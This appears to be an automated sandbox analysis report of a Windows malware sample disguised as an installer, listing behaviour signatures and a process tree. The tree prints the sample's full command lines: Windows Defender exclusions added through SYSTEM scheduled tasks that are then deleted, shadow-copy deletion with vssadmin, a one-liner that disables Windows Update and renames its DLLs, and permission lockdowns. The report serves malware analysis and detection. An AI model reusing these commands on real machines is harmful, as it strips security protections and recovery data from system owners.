Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/09/2026, 12:12

General

  • Target
    install_q2.0.17.exe
  • Size 25.4MB
  • Sample260905-pc65cstgpc
  • SHA256 31cdcffef5658cb49bae2be79a0fa0358b7ebda8e894749bc1917d3b0ea3235e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 10 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 15 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

    Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

  • Executes a command shell one-liner 1 TTPs 24 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Control Panel 4 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.17.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.17.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:448
  • C:\Users\Public\z85smi\ayMrfJ.exe
    C:\Users\Public\z85smi\ayMrfJ.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z85smi\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z85smi\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:404
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1752
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5116
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3912
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:852
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3292
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1884
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3108
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1760
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:688
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1304
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4804
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3352
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2872
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3484
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3960
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3004
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2184
                        • C:\Program Files (x86)\4EEboB\4EEboB.exe
                          "C:\Program Files (x86)\4EEboB\4EEboB.exe"
                          2⤵
                          • UAC bypass
                          • Drops file in Drivers directory
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          • Event Triggered Execution: Screensaver
                          • System Location Discovery: System Language Discovery
                          • Checks processor information in registry
                          • Modifies Control Panel
                          • Suspicious use of WriteProcessMemory
                          • System policy modification
                          PID:2244
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:1864
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1748
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3984
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:912
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4EEboB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                            • Indicator Removal: Clear Persistence
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4596
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4EEboB\" /t REG_DWORD /d 0 /f"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:2872
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2708
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Delete /TN "Task1" /F
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:3000
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3016
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:4400
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                5⤵
                                • System Location Discovery: System Language Discovery
                                PID:2184
                            • C:\Windows\SysWOW64\sc.exe
                              sc config wuauserv start= disabled
                              4⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:1700
                            • C:\Windows\SysWOW64\sc.exe
                              sc failure wuauserv reset= 0 actions= ""
                              4⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:4132
                            • C:\Windows\SysWOW64\net.exe
                              net stop UsoSvc
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:448
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop UsoSvc
                                5⤵
                                • System Location Discovery: System Language Discovery
                                PID:2296
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4804
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                            • Indicator Removal: Clear Persistence
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4352
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:1500
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:448
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Delete /TN "Task1" /F
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2192
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                            • Indicator Removal: Clear Persistence
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:624
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:3868
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4456
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Delete /TN "Task1" /F
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4288
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:956
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1380
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3992
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2128
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                            • Indicator Removal: Clear Persistence
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3880
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:4840
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:3916
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Delete /TN "Task1" /F
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2104
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                            • Indicator Removal: Clear Persistence
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4508
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:2248
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4580
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /Delete /TN "Task1" /F
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:376
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3776
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3736
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:964
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1996
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1844
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1816
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:404
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\image.png" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3252
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:3128
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4820
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:400
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3860
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:3844
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3600
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:2996
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:5028
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4524
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4804
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:3712
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3356
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4180
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3960
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:5060
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2708
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z85smi" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1964
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z85smi" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5028
                      • C:\Users\Public\z85smi\ayMrfJ.exe
                        "C:\Users\Public\z85smi\ayMrfJ.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4164
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3840
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1872
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3084
